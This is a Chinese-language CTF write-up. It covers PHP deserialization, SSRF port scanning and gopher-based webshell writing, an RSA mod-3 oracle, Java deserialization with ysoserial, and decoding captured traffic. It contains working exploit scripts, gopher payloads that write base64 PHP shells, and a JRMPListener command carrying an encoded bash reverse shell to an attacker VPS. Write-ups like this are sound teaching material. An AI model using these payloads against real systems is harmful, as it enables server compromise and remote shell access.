前言 
 
0x01 half_infiltration 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file(__FILE__ ); $flag=file_get_contents('ssrf.php' ); class  Pass  {    function  read ()       {        ob_start();         global  $result;         print  $result;     } } class  User  {    public  $age,$sex,$num;     function  __destruct ()       {        $student = $this ->age;         $boy = $this ->sex;         $a = $this ->num;     	$student->$boy();     	if (!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))     	{         	ob_end_clean();         	exit ();     	}    	 	global  $$a;     	$result=$GLOBALS['flag' ];         ob_end_clean();     } } if  (isset ($_GET['x' ])) {    unserialize($_GET['x' ])->get_it(); } 
 
第一层是一道反序列化题目,添加了限制,首先调用了$student->$boy();,然后再将flag赋给全局变量$result,如果在赋flag值之前,就调用Pass类的read()方法是读不到flag的,所以需要首先进行一遍完整的User的__destruct()函数,将flag赋给$result,然后再执行一遍__destruct(),继续调用$student->$boy();来触发Pass类的read()函数,读取flag;接下来再读flag时发现在ob_start()和ob_end_clean()之间的print是输出不到屏幕的,这里有两种方法可以绕过:
在ob_end_clean()执行前寻找一条触发到执行到exit()的链。 
在ob_end_clean()前报错,直接停止执行。 
 
本题选择第二种,在print $result与ob_end_clean()之间只有只有is_string()和global 两条语句,通过测试发现
1 2 3 4 5 6 7 8 9 10 11 <?php class  va   {	public  function  a ()   { 		$a = "this" ; 		global  $$a;   	} } $b = new  va(); $b->a(); ?> 
 
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class  Pass   {	function  read ()   { 		ob_start(); 		global  $result; 		print  $result; 	} } class  User   {	public  $age, $sex, $num; 	function  __destruct ()   { 		$student = $this ->age; 		$boy = $this ->sex; 		$a = $this ->num; 		$student->$boy(); 		if  (!(is_string($a)) || !(is_string($boy)) || !(is_object($student))) { 			ob_end_clean(); 			exit (); 		} 		global  $$a; 		$result = $GLOBALS['flag' ]; 		ob_end_clean(); 	} } $a = new  Pass(); $b2 = new  User(); $b2->sex = "read" ; $b2->num = "this" ; $b2->age = $a; $d = new  Exception ; $b = new  User(); $b->sex = "getCode" ; $b->num = "result" ; $b->aa = $b2; $b->age = $d; echo  urlencode(serialize($b));
 
得到ssrf.php
image-20200824111939809
第二层利用ssrf.php探测内网,
1 2 3 4 5 6 7 8 9 10 11 12 13 import  requestsimport  threadingurl = "http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://172.26.98.147:"  for  i in  range(35000 ,50000 ):	url = "http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://172.26.98.147:"  	url+=str(i) 	re=requests.get(url) 	print  url 	if  "HTTP"  in  re.text: 		print  url 		break  
 
得到在40000端口开了服务,
是一个评论框,可以传file和content两个参数,在http://127.0.0.1:40000/uploads/可以看到文件夹,文件夹的名对应phpsessid值,利用gopher协议ssrf可以在uploads目录写文件。 
比赛时直接用
1 gopher://172.26.98.147:40000/_POST%20/%20HTTP/index.php1.1%250d%250aHost:127.0.0.1:40000%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aCookie:%20PHPSESSID=o151hrta2onlamvpvsq9695785;%250d%250aContent-Length:%2083%250d%250a%250d%250afile=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3Da.php%26content=PD89cGhwaW5mbygpOyAg 
 
就可以得到phpinfo,但是后来复现时,就不可以了,感觉题目被改了。23333
之后修改content,绕过过滤得到flag。
1 gopher://172.26.98.147:40000/_POST%20/%20HTTP/index.php1.1%250d%250aHost:127.0.0.1:40000%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aCookie:%20PHPSESSID=o151hrta2onlamvpvsq9695785;%250d%250aContent-Length:%2087%250d%250a%250d%250afile=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3Db.php%26content=MjM8Pz1gY2F0IC9mbGFnYDsg 
 
 
content-length:长度直接本地开一个一摸一样的服务,看下长度即可,
 
成功写入文件,得到flag,
尝试读取源码:
1 23<?=`cat  ../../in*ex.***`; 
 
 
下面是做题时读取的服务器文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start(); include  'del.php' ;$upload_dir = sprintf("./uploads/%s/" , session_id()); $id = session_id(); @mkdir($upload_dir, 0755 , true ); chdir($upload_dir); ini_set('open_basedir' , '.' ); foreach  (glob(getcwd() . '/*' ) as  $file) {	if  (is_file($file)) { 		unlink($file); 	} else  { 		if  (time() - filemtime($file) >= 5 ) { 			Delete($file); 		} 	} } $data = "" ; $filename = "" ; if  (isset ($_POST['file' ])) {	$filename = $_POST['file' ]; 	if  (stripos($filename, 'BE' ) === false  && stripos($filename, 'write' ) === false  && stripos($filename, 'zlib' ) === false  && stripos($filename, 'sto' ) === false ) { 		if  (isset ($_POST['content' ])) { 			$data = $_POST['content' ]; 			if  (stripos($data, 'ph' ) === false  && stripos($data, 'Pz4=' ) === false  && stripos($data, '<?' ) === false  && stripos($data, 'PD9wa' ) === false  && stripos($data, 'script' ) === false  && stripos($data, '=' ) === false ) { 				file_put_contents($filename, $data); 			} 		} 	} else  { 		die ("error" ); 	} } ?> 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function  Delete ($path)   {	if  (is_dir($path) === true ) { 		$files = new  RecursiveIteratorIterator(new  RecursiveDirectoryIterator($path), RecursiveIteratorIterator::CHILD_FIRST); 		foreach  ($files as  $file) { 			if  (in_array($file->getBasename(), array ('.' , '..' )) !== true ) { 				if  ($file->isDir() === true ) { 					rmdir($file->getPathName()); 				} else  if  (($file->isFile() === true ) || ($file->isLink() === true )) { 					unlink($file->getPathname()); 				} 			} 		} 		return  rmdir($path); 	} else  if  ((is_file($path) === true ) || (is_link($path) === true )) { 		return  unlink($path); 	} 	return  false ; } 
 
下面是复现时读的服务器文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php session_start(); include ('del.php' );$upload_dir = sprintf("./uploads/%s/" , session_id()); $id=session_id(); @mkdir($upload_dir, 0755 , true ); chdir($upload_dir); ini_set('open_basedir' , '.' ); foreach  (glob(getcwd().'/*' ) as  $file) {        if  (is_file($file)) {                 unlink($file);         } else  {        if  (time() - filemtime($file) >= 200 ) {             Delete($file);         }     } } $data = "" ; $filename = "" ; if  (isset ($_POST['file' ]) ) {	$filename = $_POST['file' ]; 	if (stripos($filename, '..' )  === false  &&stripos($filename, 'BE' )  === false &&stripos($filename, 'write' )  === false &&stripos($filename, 'zlib' )  === false &&stripos($filename, 'sto' )  === false ){         if  (isset ($_POST['content' ])) {             $data = $_POST['content' ]; 	     	    if  (stripos($data, '`' )  === false  &&stripos($data, 'll' )  === false  &&stripos($data, 'PD8' )  === false    &&stripos($data, '-' )  === false &&stripos($data, 'ww' )  === false  && stripos($data, '6' )  === false &&stripos($data, '7' )  === false &&stripos($data, 'rm' )  === false  && stripos($data, 'mr' )  === false  &&stripos($data, 'sy' )  === false  &&stripos($data, 'ys' )  === false  &&stripos($data, 'ph' )  === false &&stripos($data, 'Pz4=' )  === false  && stripos($data, '<?' )  === false  && stripos($data, 'PD9wa' )  === false  && stripos($data, 'script' )  === false &&stripos($data, '=' )  === false ) {                 file_put_contents($filename, $data); 	    } 	 	}  	} 	else  	{ 		die ("error" ); } 	 } ?> 
 
对比发现在file处加了..的过滤,在content中加了
1 2 3 4 5 6 7 8 9 10 11 stripos($data, '`' )  === false  		&& stripos($data, 'll' )  === false  	&& stripos($data, 'PD8' )  === false    	&& stripos($data, '-' )  === false 		&& stripos($data, 'ww' )  === false  	&&  stripos($data, '6' )  === false 		&& stripos($data, '7' )  === false 		&& stripos($data, 'rm' )  === false  	&&  stripos($data, 'mr' )  === false  	&& stripos($data, 'sy' )  === false  	&& stripos($data, 'ys' )  === false  
 
上面这些过滤。
0x02 dice2cry 题目泄露了源码,abi.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php session_start(); header("Content-type:text/html;charset=utf-8" );         $data = json_decode($json_string, true );         $rand_number = isset ($_POST['this_is.able' ]) ? $_POST['this_is.able' ] : mt_rand();         $n = gmp_init($data['n' ]);         $d = gmp_init($data['d' ]);         $c = gmp_init($rand_number);         $m = gmp_powm($c,$d,$n);         $v3 = gmp_init('3' );         $r = gmp_mod($m,$v3);         $result=(int)gmp_strval($r);         $dice = array ("num" =>$result);         $json_obj = json_encode($dice);         echo  $json_obj; ?> 
 
这里涉及到一个trick,因为php变量的原因,如果POST或GET传的参数包含'.' '[' '+' ' '会转换成_,
如何滥用PHP字符串解析函数绕过IDS、IPS及WAF 
用this[is.able向服务器传值,服务器就可以将值赋给$_POST['this_is.able'],然后接下来就是密码学了,可以在cookie中发现给了N 、d和加密的flag,我们可以向服务器发送任意密文,服务器返回对应密文解密的结果模3的值,之前的RSA LSB ORACLE攻击是利用模2来二分最终得到m的值,本题用的是模3,
0x03 easy_java 题目给了源码,
高校战“疫”网络安全分享赛部分赛题复现 
 
放到idea可以运行,本地采用jdk8u102版本可以成功,但使用jdk8u261不能成功。
由于题目利用黑名单过滤了很多,所以尝试利用JRMPClient绕过过滤,参考高校战役的baby_java的JRMPListener解法,利用JRMPListener。
过程如下:
在客户端执行
1 2 java -jar ysoserial-master-30099844c6-1.jar JRMPClient 129.204.207.xxx:8888 > jrmpclient.cer windows系统这条命令只能在cmd下运行,在powershell运行会乱码,原因未知 
 
在vps上执行
1 java -cp ysoserial-master-30099844c6-1.jar  ysoserial.exploit.JRMPListener  8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkxxxxxxxxMTQvOTxxxxYxCg==}|{base64,-d}|{bash,-i}" 
 
同时在vps上监听50000端口(与上面的payload相对应)
然后访问/jdk_der路由
1 2 3 4 import  requestspayload = open("aa" ,"rb" ).read() proxies = {"http" :"127.0.0.1:8080" } requests.post("http://39.101.166.142:8080/jdk_der" ,data=payload) 
 
也可以用burp发包
这时就可以反弹shell了。
1 flag{056eaalfe7scd222qwe2df36845b8ed170c67e23e3} 
 
0x04 红方辅助 用wireshark打开
 
复制到a.txt。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import  structf = open("a.txt" , "r" ) f = f.readlines() for  i in  range(0 ,2075 ,5 ):         funcs = {         "0"  : lambda  x, y : x + y,         "1"  : lambda  x, y : x - y,         "2"  : lambda  x, y : x ^ y     }     offset = {         "0"  : 0xefffff ,         "1"  : 0xefffff ,         "2"  : 0xffffff ,     }          btime = str(f[i+1 ])     fn = chr(int(f[i+3 ][16 :18 ],16 ))     salt = int(f[i+3 ][18 :20 ],16 )     ci = f[i+3 ][20 :]          t = struct.unpack("<i" , bytes().fromhex(btime))[0 ]     boffset = offset[fn]     t -= boffset     t = struct.pack("<i" , t)     k =0      m = ""      for  j in  range(0 ,244 ,2 ):         c = ci[j:j+2 ]         j = j+2                   if  funcs[fn](int(c,16 ) , salt) % 256   ^ t[k] == 10 :         	break                   m += chr(funcs[fn](int(c,16 ) , salt) % 256   ^ t[k])         k = (k+1 )%4      print(m)